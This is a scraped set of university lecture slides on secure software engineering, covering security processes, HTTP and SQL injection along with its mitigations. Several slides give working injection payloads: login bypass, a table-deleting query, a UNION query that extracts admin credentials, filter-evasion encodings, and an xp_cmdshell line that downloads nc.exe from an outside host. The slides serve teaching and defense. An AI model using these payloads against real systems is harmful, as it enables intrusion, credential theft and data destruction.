Secure Software Engineering James Walden Northern Kentucky University
- Slides: 45
Secure Software Engineering James Walden Northern Kentucky University
Course Information Prerequisites CSC 540, CSC 582 Web Site http: //faculty. cs. nku. edu/~waldenj/classes/2012/fall/csc 666/ Textbooks Software Security, Gary Mc. Graw, Addison-Wesley, 2006. Secure Programming with Static Analysis, Brian Chess and Jacob West, Addison-Wesley, 2007. CSC 666: Secure Software Engineering
Assignment Policy Available on web page. Your responsibility to check for announcements. Types of assignments Individual programming/assessment assignments. Group programming/assessment assignments. Late policy 20% penalty up to one week late 0 points given after one week late CSC 666: Secure Software Engineering
Topics 1. 2. 3. 4. The Software Security Problem Processes and Touchpoints Web Application Vulnerabilities An Example Bug: SQL Injection CSC 666: Secure Software Engineering
Traditional Security is Reactive § Perimeter defense (firewalls) § Intrusion detection § Over-reliance on cryptography § Penetrate and patch § Penetration testing CSC 666: Secure Software Engineering
The Problem is Software “ 75% of hacks happen at the application. ” - Theresa Lanowitz, Gartner Inc. “ 92% of reported vulnerabilities are in apps, not networks. ” - NIST “ 64% of developers are not confident in their ability to write secure code. ” - Bill Gates CSC 666: Secure Software Engineering
1990 s-2006: A Growing Problem CSC 666: Secure Software Engineering
2006 -2011: Progress or Not? CSC 666: Secure Software Engineering
Motivations CSC 666: Secure Software Engineering
Trinity of Trouble Connectivity § Ubquitious Internet; wireless & mobile computing. Complexity § Networked, distributed code that can interact with intermediate caches, ad proxies, etc. Extensibility § Systems evolve in unexpected ways, e. g. web browsers, which support many formats, addons, plugins, programming languages, etc. CSC 666: Secure Software Engineering
SSE Objectives 1. Dependability: software functions only as intended; 2. Trustworthiness: No exploitable vulnerabilities or malicious logic exist in the software; 3. Resilience: If compromised, damage will be minimized, and it will recover quickly to an acceptable level of operating capacity; 4. Conformance: to requirements and applicable standards and procedures. CSC 666: Secure Software Engineering
Security Standards and Certs § ISO 15408 Common Criteria § PCI Data Security Standard § Requirement 6: Develop and maintain secure systems and applications § SANS GIAC Secure Software Programmer § http: //www. sans-ssi. org/ § Many standards indirectly impact SSE § FISMA § SOX CSC 666: Secure Software Engineering
Secure Development Processes § CLASP (Comprehensive, Lightweight Application Security Process) § Correctness-by-Construction (formal methods based process from Praxis Critical Systems) § MS SDL (Microsoft Secure Development Lifecycle) § SSE CMM (Secure Software Engineering Capability Maturity Model) § TSP-Secure (Team Software Process for Secure Software Development) § Touchpoints CSC 666: Secure Software Engineering
Software Security Practices 4. Security Testing 5. Abuse Cases 6. Security Operations 1. Code Reviews 2. Risk Analysis 3. Penetration Testing Abuse Cases Requirements Risk Analysis Design Code Reviews + Static Analysis Coding Security Testing CSC 666: Secure Software Engineering Penetration Testing Security Operations Maintenance
Code Reviews Fix implementation bugs, not design flaws. Benefits of code reviews 1. 2. 3. 4. Find defects sooner in the lifecycle. Find defects with less effort than testing. Find different defects than testing. Educate developers about security flaws. CSC 666: Secure Software Engineering
Architectural Risk Analysis Fix design flaws, not implementation bugs. Risk analysis steps 1. 2. 3. 4. 5. 6. Develop an architecture model. Identify threats and possible vulnerabilities. Develop attack scenarios. Rank risks based on probability and impact. Develop mitigation strategy. Report findings CSC 666: Secure Software Engineering
Penetration Testing Test software in deployed environment. Allocate time at end of development to test. • Often time-boxed: test for n days. • Schedule slips often reduce testing time. • Fixing flaws is expensive late in lifecycle. Penetration testing tools • Test common vulnerability types against inputs. • Fuzzing: send random data to inputs. • Don’t understand application structure or purpose. CSC 666: Secure Software Engineering
Security Testing Injection flaws, buffer overflows, XSS, etc. Functional testing will find missing functionality. Intendended Functionality Actual Functionality CSC 666: Secure Software Engineering
Security Testing Two types of testing Functional: verify security mechanisms. Adversarial: verify resistance to attacks generated during risk analysis. Different from traditional penetration testing • White box. • Use risk analysis to build tests. • Measure security against risk model. CSC 666: Secure Software Engineering
Abuse Cases Anti-requirements Think about what software should not do. A use case from an adversary’s point of view. • Obtain Another User’s CC Data. • Alter Item Price. • Deny Service to Application. Developing abuse cases Informed brainstorming: attack patterns, risks. CSC 666: Secure Software Engineering
Security Operations User security notes • Software should be secure by default. • Enabling certain features may have risks. • User needs to be informed of security risks. Incident response • What happens when a vulnerability is reported? • How do you communicate with users? • How do you send updates to users? CSC 666: Secure Software Engineering
Web Application Vulnerabilities Input-based Security Problems § Injection Flaws § Insecure Remote File Inclusion § Unvalidated Input Authentication and Authorization § Authentication § Access Control § Cross-Site Scripting Other Bugs § Error Handling and Information Leakage § Insecure Storage § Insecure Communications CSC 666: Secure Software Engineering
HTTP: Hyper. Text Transfer Protocol Simple request/response protocol § Request methods: GET, POST, HEAD, etc. § Stateless: req#2 doesn’t know about req#1 HTTPS § § HTTP wrapped in SSL/TLS encryption Protects data in transit to web server. Doesn’t protect stored data. Doesn’t protect server from being hacked. CSC 666: Secure Software Engineering
HTTP Request Method URL Protocol Version GET http: //www. google. com/ HTTP/1. 1 Headers Host: www. google. com User-Agent: Mozilla/5. 0 (Windows NT 5. 1) Gecko/20060909 Firefox/1. 5. 0. 7 Accept: text/html, image/png, */* Accept-Language: en-us, en; q=0. 5 Cookie: rememberme=true; PREF=ID=21039 ab 4 bbc 49153: FF=4 Blank Line No Data for GET CSC 666: Secure Software Engineering
HTTP Response Protocol Version HTTP Response Code HTTP/1. 1 200 OK Headers Cache-Control: private Content-Type: text/html Blank. Server: GWS/2. 1 Line Date: Fri, 13 Oct 2006 03: 16: 30 GMT <HTML>. . . (page data). . . </HTML> Web Page Data CSC 666: Secure Software Engineering
HTTP GET Parameters http: //ex. com/path/app. cgi? param 1=val 1¶m 2=val 2 Format § parameter_name=value § Multiple parameters separated by & URI encoding § Encode chars as ISO-Latin hex val: %XY § Special characters must be encoded. § Any character may be encoded. CSC 666: Secure Software Engineering
HTTP POST Parameters POST /path/app. cgi HTTP/1. 0 Content-Type: application/x-www-form-urlencoded Content-Length: 32 param 1=value 1¶m 2=value 2 Format § parameter_name=value § Multiple parameters separated by & URI encoding CSC 666: Secure Software Engineering
Cookies HTTP/1. 1 200 OK Content-Type: text/html Set-Cookie: Name=Value; path=/; expires=01 -Jan-2038 23: 59 UCT GET /path/app. cgi HTTP/1. 1 Host: ex. com Cookie: Name=Value Cookie Format § Only sent to URLs that match path, domain. § Sent only via SSL if secure specified. § Expires on date or when browser closed. CSC 666: Secure Software Engineering
An Example Bug: Injection § Injection attacks trick an application into including unintended commands in the data send to an interpreter. § Interpreters § Interpret strings as commands. § Ex: SQL, shell (cmd. exe, bash), LDAP, XPath § Key Idea § Input data from the application is executed as code by the interpreter. CSC 666: Secure Software Engineering
SQL Injection 1. App sends form to user. 2. Attacker submits form with SQL exploit data. 3. Application builds string with exploit data. 4. Application sends SQL query to DB. 5. DB executes query, including exploit, sends data back to application. 6. Application returns data to user. Attacker User ‘ or 1=1 -Pass Firewall Web Server CSC 666: Secure Software Engineering DB Server
SQL Injection in PHP $link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: ". mysql_error()); mysql_select_db($DB_DATABASE); $query = "select count(*) from users where username = '$username' and password = '$password'"; $result = mysql_query($query); CSC 666: Secure Software Engineering
SQL Injection Attack #1 Unauthorized Access Attempt: password = ’ or 1=1 -- SQL statement becomes: select count(*) from users where username = ‘user’ and password = ‘’ or 1=1 -Checks if password is empty OR 1=1, which is always true, permitting access. CSC 666: Secure Software Engineering
SQL Injection Attack #2 Database Modification Attack: password = foo’; delete from table users where username like ‘% DB executes two SQL statements: select count(*) from users where username = ‘user’ and password = ‘foo’ delete from table users where username like ‘%’ CSC 666: Secure Software Engineering
Finding SQL Injection Bugs 1. Submit a single quote as input. n If an error results, app is vulnerable. n If no error, check for any output changes. 2. Submit two single quotes. n Databases use ’’ to represent literal ’ n If error disappears, app is vulnerable. 3. Try string or numeric operators. n Oracle: ’||’FOO n MS-SQL: ‘+’FOO n My. SQL: ’ ’FOO n 2 -2 n 81+19 n 49 -ASCII(1) CSC 666: Secure Software Engineering
2008 Mass SQL Injection Attacks § Estimated 1. 5 million pages compromised. § Methodology § Identify vulnerable web applications. § Use xp_cmdshell on MS SQL to download tools to compromised MS SQL server. § Use fgdump to obtain Windows credentials. § Install backdoors that periodically contact their command & control servers. § Search for credit cards or brute force passwords. CSC 666: Secure Software Engineering
Real Estate Site Hacking Exploit against http: //phprealestatescript. com/ www. website. com/fullnews. php? id=1/**/UNION/**/ALL/**/SELECT/**/1, 2, concat(username, char(58), password), 4, 5/**/FROM/**/admin/* CSC 666: Secure Software Engineering
The Problem: String Building a SQL command string with user input in any language is dangerous. • Variable interpolation. • String concatenation with variables. • String format functions like sprintf(). • String templating with variable replacement. CSC 666: Secure Software Engineering
Mitigating SQL Injection Partially Effective Mitigations Blacklists Stored Procedures Effective Mitigations Whitelists Prepared Queries CSC 666: Secure Software Engineering
Ineffective Mitigation: Blacklist Filter out known bad SQL metacharacters, such as single quotes. Problems: 1. 2. 3. 4. Numeric parameters don’t use quotes. URL escaped metacharacters. Unicode encoded metacharacters. Did you miss any metacharacters? CSC 666: Secure Software Engineering
Bypassing Blacklist Filters Different case Se. Lec. T instead of SELECT or select Bypass keyword removal filters SELSELECTECT URL-encoding %53%45%4 C%45%43%54 SQL comments SELECT/*foo*/num/*foo*/FROM/**/cc SEL/*foo*/ECT String Building ‘us’||’er’ chr(117)||chr(115)||chr(101)||chr(114) CSC 666: Secure Software Engineering
Ineffective Mitigation: Stored Procedures SQL Stored Procedures build strings too: CREATE PROCEDURE dbo. do. Query(@id nchar(128) AS DECLARE @query nchar(256) SELECT @query = ‘SELECT cc FROM cust WHERE id=‘’’ + @id + ‘’’’ EXEC @query RETURN and they can be invoked insecurely with user input: exec sp_login ‘user’ ‘foo’; master. . xp_cmdshell ‘tftp e. com GET nc. exe’# CSC 666: Secure Software Engineering
Mitigation: Whitelist Reject input that doesn’t match your list of safe characters to accept. § Identify what’s good, not what’s bad. § Reject input instead of attempting to repair. § Still have to deal with single quotes when required, such as in names. CSC 666: Secure Software Engineering
Mitigation: Prepared Queries require_once 'MDB 2. php'; $mdb 2 =& MDB 2: : factory($dsn, $options); if (PEAR: : is. Error($mdb 2)) { die($mdb 2 ->get. Message()); } $sql = “SELECT count(*) from users where username = ? and password = ? ”; $types = array('text', 'text'); $sth = $mdb 2 ->prepare($sql, $types, MDB 2_PREPARE_MANIP); $data = array($username, $password); $sth->execute($data); CSC 666: Secure Software Engineering
Key Points § The Problem of Software Security § SSE Goals § § Dependability Trustworthiness Resilience Conformance § Touchpoints § § § Code Reviews Risk Analysis Penetration Testing Security Testing Abuse Cases Security Operations CSC 666: Secure Software Engineering
References 1. 2. 3. 4. 5. 6. 7. Brian Chess and Jacob West, Secure Programming with Static Analysis, Addison-Wesley, 2007. CLASP, OWASP CLASP Project, http: //www. owasp. org/index. php/Category: OWASP_CLASP_Proje ct, 2008. Noopur Davis et. al. , Processes for Producing Secure Software. IEEE Security & Privacy, May 2004. Karen Goertzel, Theodore Winograd, et al. for Department of Homeland Security and Department of Defense Data and Analysis Center for Software. Enhancing the Development Life Cycle to Produce Secure Software: A Reference Guidebook on Software Assurance, October 2008. Michael Howard and Steve Lipner, The Security Development Lifecycle, Microsoft Press, 2006. Michael Howard, “SAFECode: Fundamental Processes for Secure Software Development, ” http: //www. safecode. org/publications/SAFECode_Dev_Practices 1 008. pdf, October 2008. Gary Mc. Graw, Software Security, Addison-Wesley, 2006. CSC 666: Secure Software Engineering
- James walden md
- Dr jennifer walden
- Walden university
- Kentucky aging and disability resource center
- Kentucky state university mascot
- Eastern kentucky university aviation
- University of kentucky axolotl
- University of kentucky study abroad programs
- Ukcom curriculum
- University of kentucky rotc
- What is system design in software engineering
- Forward engineering and reverse engineering
- Air university software engineering
- Drexel download software
- Brunel software engineering
- Walden inversie
- Walden ultrasound
- Kirk walden
- Mla format handwritten
- Walden iop
- Nau college apartments
- Northern arizona university blackboard
- Software maintenance in software engineering ppt
- Who invented software engineering
- Metrics computer science
- Software engineering crisis
- Software metrics example
- Real time software design in software engineering
- Software design fundamentals in software engineering
- Criminal profiling serial killers
- James russell odom
- Secureuml
- James madison university rotc
- James walsh brown university
- George james software
- Principles of complex systems for systems engineering
- Engineering elegant systems: theory of systems engineering
- Reverse engineering vs forward engineering
- Ytu erasmus
- Aalto university school of engineering
- University of bridgeport computer science
- Tel aviv university electrical engineering
- Latech prototyping lab
- Oakland university engineering center
- Temple environmental engineering
- University of wisconsin madison chemical engineering